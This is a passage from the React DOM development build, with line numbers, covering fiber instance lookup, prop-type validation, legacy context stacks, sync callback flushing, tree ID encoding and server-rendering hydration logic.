11554 // a nested suspense boundary within it. So we can use this as a fast
11555 // bailout. Most of the time, when people add non-React children to
11556 // the tree, it is using a ref to a child-less DOM node.
11557 // Normally we'd only need to check one of the fibers because if it
11558 // has ever gone from having children to deleting them or vice versa
11559 // it would have deleted the dehydrated boundary nested inside already.
11560 // However, since the HostRoot starts out with an alternate it might
11561 // have one on the alternate so we need to check in case this was a
11562 // root.
11563 var alternate = targetInst.alternate;
11564
11565 if (targetInst.child !== null || alternate !== null && alternate.child !== null) {
11566 // Next we need to figure out if the node that skipped past is
11567 // nested within a dehydrated boundary and if so, which one.
11568 var suspenseInstance = getParentSuspenseInstance(targetNode);
11569
11570 while (suspenseInstance !== null) {
11571 // We found a suspense instance. That means that we haven't
11572 // hydrated it yet. Even though we leave the comments in the
11573 // DOM after hydrating, and there are boundaries in the DOM
11574 // that could already be hydrated, we wouldn't have found them
11575 // through this pass since if the target is hydrated it would
11576 // have had an internalInstanceKey on it.
11577 // Let's get the fiber associated with the SuspenseComponent
11578 // as the deepest instance.
11579 var targetSuspenseInst = suspenseInstance[internalInstanceKey];
11580
11581 if (targetSuspenseInst) {
11582 return targetSuspenseInst;
11583 } // If we don't find a Fiber on the comment, it might be because
11584 // we haven't gotten to hydrate it yet. There might still be a
11585 // parent boundary that hasn't above this one so we need to find
11586 // the outer most that is known.
11587
11588
11589 suspenseInstance = getParentSuspenseInstance(suspenseInstance); // If we don't find one, then that should mean that the parent
11590 // host component also hasn't hydrated yet. We can return it
11591 // below since it will bail out on the isMounted check later.
11592 }
11593 }
11594
11595 return targetInst;
11596 }
11597
11598 targetNode = parentNode;
11599 parentNode = targetNode.parentNode;
11600 }
11601
11602 return null;
11603 }
11604 /**
11605 * Given a DOM node, return the ReactDOMComponent or ReactDOMTextComponent
11606 * instance, or null if the node was not rendered by this React.
11607 */
11608
11609 function getInstanceFromNode(node) {
11610 var inst = node[internalInstanceKey] || node[internalContainerInstanceKey];
11611
11612 if (inst) {
11613 if (inst.tag === HostComponent || inst.tag === HostText || inst.tag === SuspenseComponent || inst.tag === HostRoot) {
11614 return inst;
11615 } else {
11616 return null;
11617 }
11618 }
11619
11620 return null;
11621 }
11622 /**
11623 * Given a ReactDOMComponent or ReactDOMTextComponent, return the corresponding
11624 * DOM node.
11625 */
11626
11627 function getNodeFromInstance(inst) {
11628 if (inst.tag === HostComponent || inst.tag === HostText) {
11629 // In Fiber this, is just the state node right now. We assume it will be
11630 // a host component or host text.
11631 return inst.stateNode;
11632 } // Without this first invariant, passing a non-DOM-component triggers the next
11633 // invariant for a missing parent, which is super confusing.
11634
11635
11636 throw new Error('getNodeFromInstance: Invalid argument.');
11637 }
11638 function getFiberCurrentPropsFromNode(node) {
11639 return node[internalPropsKey] || null;
11640 }
11641 function updateFiberProps(node, props) {
11642 node[internalPropsKey] = props;
11643 }
11644 function getEventListenerSet(node) {
11645 var elementListenerSet = node[internalEventHandlersKey];
11646
11647 if (elementListenerSet === undefined) {
11648 elementListenerSet = node[internalEventHandlersKey] = new Set();
11649 }
11650
11651 return elementListenerSet;
11652 }
11653
11654 var loggedTypeFailures = {};
11655 var ReactDebugCurrentFrame$1 = ReactSharedInternals.ReactDebugCurrentFrame;
11656
11657 function setCurrentlyValidatingElement(element) {
11658 {
11659 if (element) {
11660 var owner = element._owner;
11661 var stack = describeUnknownElementTypeFrameInDEV(element.type, element._source, owner ? owner.type : null);
11662 ReactDebugCurrentFrame$1.setExtraStackFrame(stack);
11663 } else {
11664 ReactDebugCurrentFrame$1.setExtraStackFrame(null);
11665 }
11666 }
11667 }
11668
11669 function checkPropTypes(typeSpecs, values, location, componentName, element) {
11670 {
11671 // $FlowFixMe This is okay but Flow doesn't know it.
11672 var has = Function.call.bind(hasOwnProperty);
11673
11674 for (var typeSpecName in typeSpecs) {
11675 if (has(typeSpecs, typeSpecName)) {
11676 var error$1 = void 0; // Prop type validation may throw. In case they do, we don't want to
11677 // fail the render phase where it didn't fail before. So we log it.
11678 // After these have been cleaned up, we'll let them throw.
11679
11680 try {
11681 // This is intentionally an invariant that gets caught. It's the same
11682 // behavior as without this statement except with a better message.
11683 if (typeof typeSpecs[typeSpecName] !== 'function') {
11684 // eslint-disable-next-line react-internal/prod-error-codes
11685 var err = Error((componentName || 'React class') + ': ' + location + ' type `' + typeSpecName + '` is invalid; ' + 'it must be a function, usually from the `prop-types` package, but received `' + typeof typeSpecs[typeSpecName] + '`.' + 'This often happens because of typos such as `PropTypes.function` instead of `PropTypes.func`.');
11686 err.name = 'Invariant Violation';
11687 throw err;
11688 }
11689
11690 error$1 = typeSpecs[typeSpecName](values, typeSpecName, componentName, location, null, 'SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED');
11691 } catch (ex) {
11692 error$1 = ex;
11693 }
11694
11695 if (error$1 && !(error$1 instanceof Error)) {
11696 setCurrentlyValidatingElement(element);
11697
11698 error('%s: type specification of %s' + ' `%s` is invalid; the type checker ' + 'function must return `null` or an `Error` but returned a %s. ' + 'You may have forgotten to pass an argument to the type checker ' + 'creator (arrayOf, instanceOf, objectOf, oneOf, oneOfType, and ' + 'shape all require an argument).', componentName || 'React class', location, typeSpecName, typeof error$1);
11699
11700 setCurrentlyValidatingElement(null);
11701 }
11702
11703 if (error$1 instanceof Error && !(error$1.message in loggedTypeFailures)) {
11704 // Only monitor this failure once because there tends to be a lot of the
11705 // same error.
11706 loggedTypeFailures[error$1.message] = true;
11707 setCurrentlyValidatingElement(element);
11708
11709 error('Failed %s type: %s', location, error$1.message);
11710
11711 setCurrentlyValidatingElement(null);
11712 }
11713 }
11714 }
11715 }
11716 }
11717
11718 var valueStack = [];
11719 var fiberStack;
11720
11721 {
11722 fiberStack = [];
11723 }
11724
11725 var index = -1;
11726
11727 function createCursor(defaultValue) {
11728 return {
11729 current: defaultValue
11730 };
11731 }
11732
11733 function pop(cursor, fiber) {
11734 if (index < 0) {
11735 {
11736 error('Unexpected pop.');
11737 }
11738
11739 return;
11740 }
11741
11742 {
11743 if (fiber !== fiberStack[index]) {
11744 error('Unexpected Fiber popped.');
11745 }
11746 }
11747
11748 cursor.current = valueStack[index];
11749 valueStack[index] = null;
11750
11751 {
11752 fiberStack[index] = null;
11753 }
11754
11755 index--;
11756 }
11757
11758 function push(cursor, value, fiber) {
11759 index++;
11760 valueStack[index] = cursor.current;
11761
11762 {
11763 fiberStack[index] = fiber;
11764 }
11765
11766 cursor.current = value;
11767 }
11768
11769 var warnedAboutMissingGetChildContext;
11770
11771 {
11772 warnedAboutMissingGetChildContext = {};
11773 }
11774
11775 var emptyContextObject = {};
11776
11777 {
11778 Object.freeze(emptyContextObject);
11779 } // A cursor to the current merged context object on the stack.
11780
11781
11782 var contextStackCursor = createCursor(emptyContextObject); // A cursor to a boolean indicating whether the context has changed.
11783
11784 var didPerformWorkStackCursor = createCursor(false); // Keep track of the previous context object that was on the stack.
11785 // We use this to get access to the parent context after we have already
11786 // pushed the next context provider, and now need to merge their contexts.
11787
11788 var previousContext = emptyContextObject;
11789
11790 function getUnmaskedContext(workInProgress, Component, didPushOwnContextIfProvider) {
11791 {
11792 if (didPushOwnContextIfProvider && isContextProvider(Component)) {
11793 // If the fiber is a context provider itself, when we read its context
11794 // we may have already pushed its own child context on the stack. A context
11795 // provider should not "see" its own child context. Therefore we read the
11796 // previous (parent) context instead for a context provider.
11797 return previousContext;
11798 }
11799
11800 return contextStackCursor.current;
11801 }
11802 }
11803
11804 function cacheContext(workInProgress, unmaskedContext, maskedContext) {
11805 {
11806 var instance = workInProgress.stateNode;
11807 instance.__reactInternalMemoizedUnmaskedChildContext = unmaskedContext;
11808 instance.__reactInternalMemoizedMaskedChildContext = maskedContext;
11809 }
11810 }
11811
11812 function getMaskedContext(workInProgress, unmaskedContext) {
11813 {
11814 var type = workInProgress.type;
11815 var contextTypes = type.contextTypes;
11816
11817 if (!contextTypes) {
11818 return emptyContextObject;
11819 } // Avoid recreating masked context unless unmasked context has changed.
11820 // Failing to do this will result in unnecessary calls to componentWillReceiveProps.
11821 // This may trigger infinite loops if componentWillReceiveProps calls setState.
11822
11823
11824 var instance = workInProgress.stateNode;
11825
11826 if (instance && instance.__reactInternalMemoizedUnmaskedChildContext === unmaskedContext) {
11827 return instance.__reactInternalMemoizedMaskedChildContext;
11828 }
11829
11830 var context = {};
11831
11832 for (var key in contextTypes) {
11833 context[key] = unmaskedContext[key];
11834 }
11835
11836 {
11837 var name = getComponentNameFromFiber(workInProgress) || 'Unknown';
11838 checkPropTypes(contextTypes, context, 'context', name);
11839 } // Cache unmasked context so we can avoid recreating masked context unless necessary.
11840 // Context is created before the class component is instantiated so check for instance.
11841
11842
11843 if (instance) {
11844 cacheContext(workInProgress, unmaskedContext, context);
11845 }
11846
11847 return context;
11848 }
11849 }
11850
11851 function hasContextChanged() {
11852 {
11853 return didPerformWorkStackCursor.current;
11854 }
11855 }
11856
11857 function isContextProvider(type) {
11858 {
11859 var childContextTypes = type.childContextTypes;
11860 return childContextTypes !== null && childContextTypes !== undefined;
11861 }
11862 }
11863
11864 function popContext(fiber) {
11865 {
11866 pop(didPerformWorkStackCursor, fiber);
11867 pop(contextStackCursor, fiber);
11868 }
11869 }
11870
11871 function popTopLevelContextObject(fiber) {
11872 {
11873 pop(didPerformWorkStackCursor, fiber);
11874 pop(contextStackCursor, fiber);
11875 }
11876 }
11877
11878 function pushTopLevelContextObject(fiber, context, didChange) {
11879 {
11880 if (contextStackCursor.current !== emptyContextObject) {
11881 throw new Error('Unexpected context found on stack. ' + 'This error is likely caused by a bug in React. Please file an issue.');
11882 }
11883
11884 push(contextStackCursor, context, fiber);
11885 push(didPerformWorkStackCursor, didChange, fiber);
11886 }
11887 }
11888
11889 function processChildContext(fiber, type, parentContext) {
11890 {
11891 var instance = fiber.stateNode;
11892 var childContextTypes = type.childContextTypes; // TODO (bvaughn) Replace this behavior with an invariant() in the future.
11893 // It has only been added in Fiber to match the (unintentional) behavior in Stack.
11894
11895 if (typeof instance.getChildContext !== 'function') {
11896 {
11897 var componentName = getComponentNameFromFiber(fiber) || 'Unknown';
11898
11899 if (!warnedAboutMissingGetChildContext[componentName]) {
11900 warnedAboutMissingGetChildContext[componentName] = true;
11901
11902 error('%s.childContextTypes is specified but there is no getChildContext() method ' + 'on the instance. You can either define getChildContext() on %s or remove ' + 'childContextTypes from it.', componentName, componentName);
11903 }
11904 }
11905
11906 return parentContext;
11907 }
11908
11909 var childContext = instance.getChildContext();
11910
11911 for (var contextKey in childContext) {
11912 if (!(contextKey in childContextTypes)) {
11913 throw new Error((getComponentNameFromFiber(fiber) || 'Unknown') + ".getChildContext(): key \"" + contextKey + "\" is not defined in childContextTypes.");
11914 }
11915 }
11916
11917 {
11918 var name = getComponentNameFromFiber(fiber) || 'Unknown';
11919 checkPropTypes(childContextTypes, childContext, 'child context', name);
11920 }
11921
11922 return assign({}, parentContext, childContext);
11923 }
11924 }
11925
11926 function pushContextProvider(workInProgress) {
11927 {
11928 var instance = workInProgress.stateNode; // We push the context as early as possible to ensure stack integrity.
11929 // If the instance does not exist yet, we will push null at first,
11930 // and replace it on the stack later when invalidating the context.
11931
11932 var memoizedMergedChildContext = instance && instance.__reactInternalMemoizedMergedChildContext || emptyContextObject; // Remember the parent context so we can merge with it later.
11933 // Inherit the parent's did-perform-work value to avoid inadvertently blocking updates.
11934
11935 previousContext = contextStackCursor.current;
11936 push(contextStackCursor, memoizedMergedChildContext, workInProgress);
11937 push(didPerformWorkStackCursor, didPerformWorkStackCursor.current, workInProgress);
11938 return true;
11939 }
11940 }
11941
11942 function invalidateContextProvider(workInProgress, type, didChange) {
11943 {
11944 var instance = workInProgress.stateNode;
11945
11946 if (!instance) {
11947 throw new Error('Expected to have an instance by this point. ' + 'This error is likely caused by a bug in React. Please file an issue.');
11948 }
11949
11950 if (didChange) {
11951 // Merge parent and own context.
11952 // Skip this if we're not updating due to sCU.
11953 // This avoids unnecessarily recomputing memoized values.
11954 var mergedContext = processChildContext(workInProgress, type, previousContext);
11955 instance.__reactInternalMemoizedMergedChildContext = mergedContext; // Replace the old (or empty) context with the new one.
11956 // It is important to unwind the context in the reverse order.
11957
11958 pop(didPerformWorkStackCursor, workInProgress);
11959 pop(contextStackCursor, workInProgress); // Now push the new context and mark that it has changed.
11960
11961 push(contextStackCursor, mergedContext, workInProgress);
11962 push(didPerformWorkStackCursor, didChange, workInProgress);
11963 } else {
11964 pop(didPerformWorkStackCursor, workInProgress);
11965 push(didPerformWorkStackCursor, didChange, workInProgress);
11966 }
11967 }
11968 }
11969
11970 function findCurrentUnmaskedContext(fiber) {
11971 {
11972 // Currently this is only used with renderSubtreeIntoContainer; not sure if it
11973 // makes sense elsewhere
11974 if (!isFiberMounted(fiber) || fiber.tag !== ClassComponent) {
11975 throw new Error('Expected subtree parent to be a mounted class component. ' + 'This error is likely caused by a bug in React. Please file an issue.');
11976 }
11977
11978 var node = fiber;
11979
11980 do {
11981 switch (node.tag) {
11982 case HostRoot:
11983 return node.stateNode.context;
11984
11985 case ClassComponent:
11986 {
11987 var Component = node.type;
11988
11989 if (isContextProvider(Component)) {
11990 return node.stateNode.__reactInternalMemoizedMergedChildContext;
11991 }
11992
11993 break;
11994 }
11995 }
11996
11997 node = node.return;
11998 } while (node !== null);
11999
12000 throw new Error('Found unexpected detached subtree parent. ' + 'This error is likely caused by a bug in React. Please file an issue.');
12001 }
12002 }
12003
12004 var LegacyRoot = 0;
12005 var ConcurrentRoot = 1;
12006
12007 var syncQueue = null;
12008 var includesLegacySyncCallbacks = false;
12009 var isFlushingSyncQueue = false;
12010 function scheduleSyncCallback(callback) {
12011 // Push this callback into an internal queue. We'll flush these either in
12012 // the next tick, or earlier if something calls `flushSyncCallbackQueue`.
12013 if (syncQueue === null) {
12014 syncQueue = [callback];
12015 } else {
12016 // Push onto existing queue. Don't need to schedule a callback because
12017 // we already scheduled one when we created the queue.
12018 syncQueue.push(callback);
12019 }
12020 }
12021 function scheduleLegacySyncCallback(callback) {
12022 includesLegacySyncCallbacks = true;
12023 scheduleSyncCallback(callback);
12024 }
12025 function flushSyncCallbacksOnlyInLegacyMode() {
12026 // Only flushes the queue if there's a legacy sync callback scheduled.
12027 // TODO: There's only a single type of callback: performSyncOnWorkOnRoot. So
12028 // it might make more sense for the queue to be a list of roots instead of a
12029 // list of generic callbacks. Then we can have two: one for legacy roots, one
12030 // for concurrent roots. And this method would only flush the legacy ones.
12031 if (includesLegacySyncCallbacks) {
12032 flushSyncCallbacks();
12033 }
12034 }
12035 function flushSyncCallbacks() {
12036 if (!isFlushingSyncQueue && syncQueue !== null) {
12037 // Prevent re-entrance.
12038 isFlushingSyncQueue = true;
12039 var i = 0;
12040 var previousUpdatePriority = getCurrentUpdatePriority();
12041
12042 try {
12043 var isSync = true;
12044 var queue = syncQueue; // TODO: Is this necessary anymore? The only user code that runs in this
12045 // queue is in the render or commit phases.
12046
12047 setCurrentUpdatePriority(DiscreteEventPriority);
12048
12049 for (; i < queue.length; i++) {
12050 var callback = queue[i];
12051
12052 do {
12053 callback = callback(isSync);
12054 } while (callback !== null);
12055 }
12056
12057 syncQueue = null;
12058 includesLegacySyncCallbacks = false;
12059 } catch (error) {
12060 // If something throws, leave the remaining callbacks on the queue.
12061 if (syncQueue !== null) {
12062 syncQueue = syncQueue.slice(i + 1);
12063 } // Resume flushing in the next tick
12064
12065
12066 scheduleCallback(ImmediatePriority, flushSyncCallbacks);
12067 throw error;
12068 } finally {
12069 setCurrentUpdatePriority(previousUpdatePriority);
12070 isFlushingSyncQueue = false;
12071 }
12072 }
12073
12074 return null;
12075 }
12076
12077 // TODO: Use the unified fiber stack module instead of this local one?
12078 // Intentionally not using it yet to derisk the initial implementation, because
12079 // the way we push/pop these values is a bit unusual. If there's a mistake, I'd
12080 // rather the ids be wrong than crash the whole reconciler.
12081 var forkStack = [];
12082 var forkStackIndex = 0;
12083 var treeForkProvider = null;
12084 var treeForkCount = 0;
12085 var idStack = [];
12086 var idStackIndex = 0;
12087 var treeContextProvider = null;
12088 var treeContextId = 1;
12089 var treeContextOverflow = '';
12090 function isForkedChild(workInProgress) {
12091 warnIfNotHydrating();
12092 return (workInProgress.flags & Forked) !== NoFlags;
12093 }
12094 function getForksAtLevel(workInProgress) {
12095 warnIfNotHydrating();
12096 return treeForkCount;
12097 }
12098 function getTreeId() {
12099 var overflow = treeContextOverflow;
12100 var idWithLeadingBit = treeContextId;
12101 var id = idWithLeadingBit & ~getLeadingBit(idWithLeadingBit);
12102 return id.toString(32) + overflow;
12103 }
12104 function pushTreeFork(workInProgress, totalChildren) {
12105 // This is called right after we reconcile an array (or iterator) of child
12106 // fibers, because that's the only place where we know how many children in
12107 // the whole set without doing extra work later, or storing addtional
12108 // information on the fiber.
12109 //
12110 // That's why this function is separate from pushTreeId — it's called during
12111 // the render phase of the fork parent, not the child, which is where we push
12112 // the other context values.
12113 //
12114 // In the Fizz implementation this is much simpler because the child is
12115 // rendered in the same callstack as the parent.
12116 //
12117 // It might be better to just add a `forks` field to the Fiber type. It would
12118 // make this module simpler.
12119 warnIfNotHydrating();
12120 forkStack[forkStackIndex++] = treeForkCount;
12121 forkStack[forkStackIndex++] = treeForkProvider;
12122 treeForkProvider = workInProgress;
12123 treeForkCount = totalChildren;
12124 }
12125 function pushTreeId(workInProgress, totalChildren, index) {
12126 warnIfNotHydrating();
12127 idStack[idStackIndex++] = treeContextId;
12128 idStack[idStackIndex++] = treeContextOverflow;
12129 idStack[idStackIndex++] = treeContextProvider;
12130 treeContextProvider = workInProgress;
12131 var baseIdWithLeadingBit = treeContextId;
12132 var baseOverflow = treeContextOverflow; // The leftmost 1 marks the end of the sequence, non-inclusive. It's not part
12133 // of the id; we use it to account for leading 0s.
12134
12135 var baseLength = getBitLength(baseIdWithLeadingBit) - 1;
12136 var baseId = baseIdWithLeadingBit & ~(1 << baseLength);
12137 var slot = index + 1;
12138 var length = getBitLength(totalChildren) + baseLength; // 30 is the max length we can store without overflowing, taking into
12139 // consideration the leading 1 we use to mark the end of the sequence.
12140
12141 if (length > 30) {
12142 // We overflowed the bitwise-safe range. Fall back to slower algorithm.
12143 // This branch assumes the length of the base id is greater than 5; it won't
12144 // work for smaller ids, because you need 5 bits per character.
12145 //
12146 // We encode the id in multiple steps: first the base id, then the
12147 // remaining digits.
12148 //
12149 // Each 5 bit sequence corresponds to a single base 32 character. So for
12150 // example, if the current id is 23 bits long, we can convert 20 of those
12151 // bits into a string of 4 characters, with 3 bits left over.
12152 //
12153 // First calculate how many bits in the base id represent a complete
12154 // sequence of characters.
12155 var numberOfOverflowBits = baseLength - baseLength % 5; // Then create a bitmask that selects only those bits.
12156
12157 var newOverflowBits = (1 << numberOfOverflowBits) - 1; // Select the bits, and convert them to a base 32 string.
12158
12159 var newOverflow = (baseId & newOverflowBits).toString(32); // Now we can remove those bits from the base id.
12160
12161 var restOfBaseId = baseId >> numberOfOverflowBits;
12162 var restOfBaseLength = baseLength - numberOfOverflowBits; // Finally, encode the rest of the bits using the normal algorithm. Because
12163 // we made more room, this time it won't overflow.
12164
12165 var restOfLength = getBitLength(totalChildren) + restOfBaseLength;
12166 var restOfNewBits = slot << restOfBaseLength;
12167 var id = restOfNewBits | restOfBaseId;
12168 var overflow = newOverflow + baseOverflow;
12169 treeContextId = 1 << restOfLength | id;
12170 treeContextOverflow = overflow;
12171 } else {
12172 // Normal path
12173 var newBits = slot << baseLength;
12174
12175 var _id = newBits | baseId;
12176
12177 var _overflow = baseOverflow;
12178 treeContextId = 1 << length | _id;
12179 treeContextOverflow = _overflow;
12180 }
12181 }
12182 function pushMaterializedTreeId(workInProgress) {
12183 warnIfNotHydrating(); // This component materialized an id. This will affect any ids that appear
12184 // in its children.
12185
12186 var returnFiber = workInProgress.return;
12187
12188 if (returnFiber !== null) {
12189 var numberOfForks = 1;
12190 var slotIndex = 0;
12191 pushTreeFork(workInProgress, numberOfForks);
12192 pushTreeId(workInProgress, numberOfForks, slotIndex);
12193 }
12194 }
12195
12196 function getBitLength(number) {
12197 return 32 - clz32(number);
12198 }
12199
12200 function getLeadingBit(id) {
12201 return 1 << getBitLength(id) - 1;
12202 }
12203
12204 function popTreeContext(workInProgress) {
12205 // Restore the previous values.
12206 // This is a bit more complicated than other context-like modules in Fiber
12207 // because the same Fiber may appear on the stack multiple times and for
12208 // different reasons. We have to keep popping until the work-in-progress is
12209 // no longer at the top of the stack.
12210 while (workInProgress === treeForkProvider) {
12211 treeForkProvider = forkStack[--forkStackIndex];
12212 forkStack[forkStackIndex] = null;
12213 treeForkCount = forkStack[--forkStackIndex];
12214 forkStack[forkStackIndex] = null;
12215 }
12216
12217 while (workInProgress === treeContextProvider) {
12218 treeContextProvider = idStack[--idStackIndex];
12219 idStack[idStackIndex] = null;
12220 treeContextOverflow = idStack[--idStackIndex];
12221 idStack[idStackIndex] = null;
12222 treeContextId = idStack[--idStackIndex];
12223 idStack[idStackIndex] = null;
12224 }
12225 }
12226 function getSuspendedTreeContext() {
12227 warnIfNotHydrating();
12228
12229 if (treeContextProvider !== null) {
12230 return {
12231 id: treeContextId,
12232 overflow: treeContextOverflow
12233 };
12234 } else {
12235 return null;
12236 }
12237 }
12238 function restoreSuspendedTreeContext(workInProgress, suspendedContext) {
12239 warnIfNotHydrating();
12240 idStack[idStackIndex++] = treeContextId;
12241 idStack[idStackIndex++] = treeContextOverflow;
12242 idStack[idStackIndex++] = treeContextProvider;
12243 treeContextId = suspendedContext.id;
12244 treeContextOverflow = suspendedContext.overflow;
12245 treeContextProvider = workInProgress;
12246 }
12247
12248 function warnIfNotHydrating() {
12249 {
12250 if (!getIsHydrating()) {
12251 error('Expected to be hydrating. This is a bug in React. Please file ' + 'an issue.');
12252 }
12253 }
12254 }
12255
12256 // This may have been an insertion or a hydration.
12257
12258 var hydrationParentFiber = null;
12259 var nextHydratableInstance = null;
12260 var isHydrating = false; // This flag allows for warning supression when we expect there to be mismatches
12261 // due to earlier mismatches or a suspended fiber.
12262
12263 var didSuspendOrErrorDEV = false; // Hydration errors that were thrown inside this boundary
12264
12265 var hydrationErrors = null;
12266
12267 function warnIfHydrating() {
12268 {
12269 if (isHydrating) {
12270 error('We should not be hydrating here. This is a bug in React. Please file a bug.');
12271 }
12272 }
12273 }
12274
12275 function markDidThrowWhileHydratingDEV() {
12276 {
12277 didSuspendOrErrorDEV = true;
12278 }
12279 }
12280 function didSuspendOrErrorWhileHydratingDEV() {
12281 {
12282 return didSuspendOrErrorDEV;
12283 }
12284 }
12285
12286 function enterHydrationState(fiber) {
12287
12288 var parentInstance = fiber.stateNode.containerInfo;
12289 nextHydratableInstance = getFirstHydratableChildWithinContainer(parentInstance);
12290 hydrationParentFiber = fiber;
12291 isHydrating = true;
12292 hydrationErrors = null;
12293 didSuspendOrErrorDEV = false;
12294 return true;
12295 }
12296
12297 function reenterHydrationStateFromDehydratedSuspenseInstance(fiber, suspenseInstance, treeContext) {
12298
12299 nextHydratableInstance = getFirstHydratableChildWithinSuspenseInstance(suspenseInstance);
12300 hydrationParentFiber = fiber;
12301 isHydrating = true;
12302 hydrationErrors = null;
12303 didSuspendOrErrorDEV = false;
12304
12305 if (treeContext !== null) {
12306 restoreSuspendedTreeContext(fiber, treeContext);
12307 }
12308
12309 return true;
12310 }
12311
12312 function warnUnhydratedInstance(returnFiber, instance) {
12313 {
12314 switch (returnFiber.tag) {
12315 case HostRoot:
12316 {
12317 didNotHydrateInstanceWithinContainer(returnFiber.stateNode.containerInfo, instance);
12318 break;
12319 }
12320
12321 case HostComponent:
12322 {
12323 var isConcurrentMode = (returnFiber.mode & ConcurrentMode) !== NoMode;
12324 didNotHydrateInstance(returnFiber.type, returnFiber.memoizedProps, returnFiber.stateNode, instance, // TODO: Delete this argument when we remove the legacy root API.
12325 isConcurrentMode);
12326 break;
12327 }
12328
12329 case SuspenseComponent:
12330 {
12331 var suspenseState = returnFiber.memoizedState;
12332 if (suspenseState.dehydrated !== null) didNotHydrateInstanceWithinSuspenseInstance(suspenseState.dehydrated, instance);
12333 break;
12334 }
12335 }
12336 }
12337 }
12338
12339 function deleteHydratableInstance(returnFiber, instance) {
12340 warnUnhydratedInstance(returnFiber, instance);
12341 var childToDelete = createFiberFromHostInstanceForDeletion();
12342 childToDelete.stateNode = instance;
12343 childToDelete.return = returnFiber;
12344 var deletions = returnFiber.deletions;
12345
12346 if (deletions === null) {
12347 returnFiber.deletions = [childToDelete];
12348 returnFiber.flags |= ChildDeletion;
12349 } else {
12350 deletions.push(childToDelete);
12351 }
12352 }
12353
12354 function warnNonhydratedInstance(returnFiber, fiber) {
12355 {
12356 if (didSuspendOrErrorDEV) {
12357 // Inside a boundary that already suspended. We're currently rendering the
12358 // siblings of a suspended node. The mismatch may be due to the missing
12359 // data, so it's probably a false positive.
12360 return;
12361 }
12362
12363 switch (returnFiber.tag) {
12364 case HostRoot:
12365 {
12366 var parentContainer = returnFiber.stateNode.containerInfo;
12367
12368 switch (fiber.tag) {
12369 case HostComponent:
12370 var type = fiber.type;
12371 var props = fiber.pendingProps;
12372 didNotFindHydratableInstanceWithinContainer(parentContainer, type);
12373 break;
12374
12375 case HostText:
12376 var text = fiber.pendingProps;
12377 didNotFindHydratableTextInstanceWithinContainer(parentContainer, text);
12378 break;
12379 }
12380
12381 break;
12382 }
12383
12384 case HostComponent:
12385 {
12386 var parentType = returnFiber.type;
12387 var parentProps = returnFiber.memoizedProps;
12388 var parentInstance = returnFiber.stateNode;
12389
12390 switch (fiber.tag) {
12391 case HostComponent:
12392 {
12393 var _type = fiber.type;
12394 var _props = fiber.pendingProps;
12395 var isConcurrentMode = (returnFiber.mode & ConcurrentMode) !== NoMode;
12396 didNotFindHydratableInstance(parentType, parentProps, parentInstance, _type, _props, // TODO: Delete this argument when we remove the legacy root API.
12397 isConcurrentMode);
12398 break;
12399 }
12400
12401 case HostText:
12402 {
12403 var _text = fiber.pendingProps;
12404
12405 var _isConcurrentMode = (returnFiber.mode & ConcurrentMode) !== NoMode;
12406
12407 didNotFindHydratableTextInstance(parentType, parentProps, parentInstance, _text, // TODO: Delete this argument when we remove the legacy root API.
12408 _isConcurrentMode);
12409 break;
12410 }
12411 }
12412
12413 break;
12414 }
12415
12416 case SuspenseComponent:
12417 {
12418 var suspenseState = returnFiber.memoizedState;
12419 var _parentInstance = suspenseState.dehydrated;
12420 if (_parentInstance !== null) switch (fiber.tag) {
12421 case HostComponent:
12422 var _type2 = fiber.type;
12423 var _props2 = fiber.pendingProps;
12424 didNotFindHydratableInstanceWithinSuspenseInstance(_parentInstance, _type2);
12425 break;
12426
12427 case HostText:
12428 var _text2 = fiber.pendingProps;
12429 didNotFindHydratableTextInstanceWithinSuspenseInstance(_parentInstance, _text2);
12430 break;
12431 }
12432 break;
12433 }
12434
12435 default:
12436 return;
12437 }
12438 }
12439 }
12440
12441 function insertNonHydratedInstance(returnFiber, fiber) {
12442 fiber.flags = fiber.flags & ~Hydrating | Placement;
12443 warnNonhydratedInstance(returnFiber, fiber);
12444 }
12445
12446 function tryHydrate(fiber, nextInstance) {
12447 switch (fiber.tag) {
12448 case HostComponent:
12449 {
12450 var type = fiber.type;
12451 var props = fiber.pendingProps;
12452 var instance = canHydrateInstance(nextInstance, type);
12453
12454 if (instance !== null) {
12455 fiber.stateNode = instance;
12456 hydrationParentFiber = fiber;
12457 nextHydratableInstance = getFirstHydratableChild(instance);
12458 return true;
12459 }
12460
12461 return false;
12462 }
12463
12464 case HostText:
12465 {
12466 var text = fiber.pendingProps;
12467 var textInstance = canHydrateTextInstance(nextInstance, text);
12468
12469 if (textInstance !== null) {
12470 fiber.stateNode = textInstance;
12471 hydrationParentFiber = fiber; // Text Instances don't have children so there's nothing to hydrate.
12472
12473 nextHydratableInstance = null;
12474 return true;
12475 }
12476
12477 return false;
12478 }
12479
12480 case SuspenseComponent:
12481 {
12482 var suspenseInstance = canHydrateSuspenseInstance(nextInstance);
12483
12484 if (suspenseInstance !== null) {
12485 var suspenseState = {
12486 dehydrated: suspenseInstance,
12487 treeContext: getSuspendedTreeContext(),
12488 retryLane: OffscreenLane
12489 };
12490 fiber.memoizedState = suspenseState; // Store the dehydrated fragment as a child fiber.
12491 // This simplifies the code for getHostSibling and deleting nodes,
12492 // since it doesn't have to consider all Suspense boundaries and
12493 // check if they're dehydrated ones or not.
12494
12495 var dehydratedFragment = createFiberFromDehydratedFragment(suspenseInstance);
12496 dehydratedFragment.return = fiber;
12497 fiber.child = dehydratedFragment;
12498 hydrationParentFiber = fiber; // While a Suspense Instance does have children, we won't step into
12499 // it during the first pass. Instead, we'll reenter it later.
12500
12501 nextHydratableInstance = null;
12502 return true;
12503 }
12504
12505 return false;
12506 }
12507
12508 default:
12509 return false;
12510 }
12511 }
12512
12513 function shouldClientRenderOnMismatch(fiber) {
12514 return (fiber.mode & ConcurrentMode) !== NoMode && (fiber.flags & DidCapture) === NoFlags;
12515 }
12516
12517 function throwOnHydrationMismatch(fiber) {
12518 throw new Error('Hydration failed because the initial UI does not match what was ' + 'rendered on the server.');
12519 }
12520
12521 function tryToClaimNextHydratableInstance(fiber) {
12522 if (!isHydrating) {
12523 return;
12524 }
12525
12526 var nextInstance = nextHydratableInstance;
12527
12528 if (!nextInstance) {
12529 if (shouldClientRenderOnMismatch(fiber)) {
12530 warnNonhydratedInstance(hydrationParentFiber, fiber);
12531 throwOnHydrationMismatch();
12532 } // Nothing to hydrate. Make it an insertion.
12533
12534
12535 insertNonHydratedInstance(hydrationParentFiber, fiber);
12536 isHydrating = false;
12537 hydrationParentFiber = fiber;
12538 return;
12539 }
12540
12541 var firstAttemptedInstance = nextInstance;
12542
12543 if (!tryHydrate(fiber, nextInstance)) {
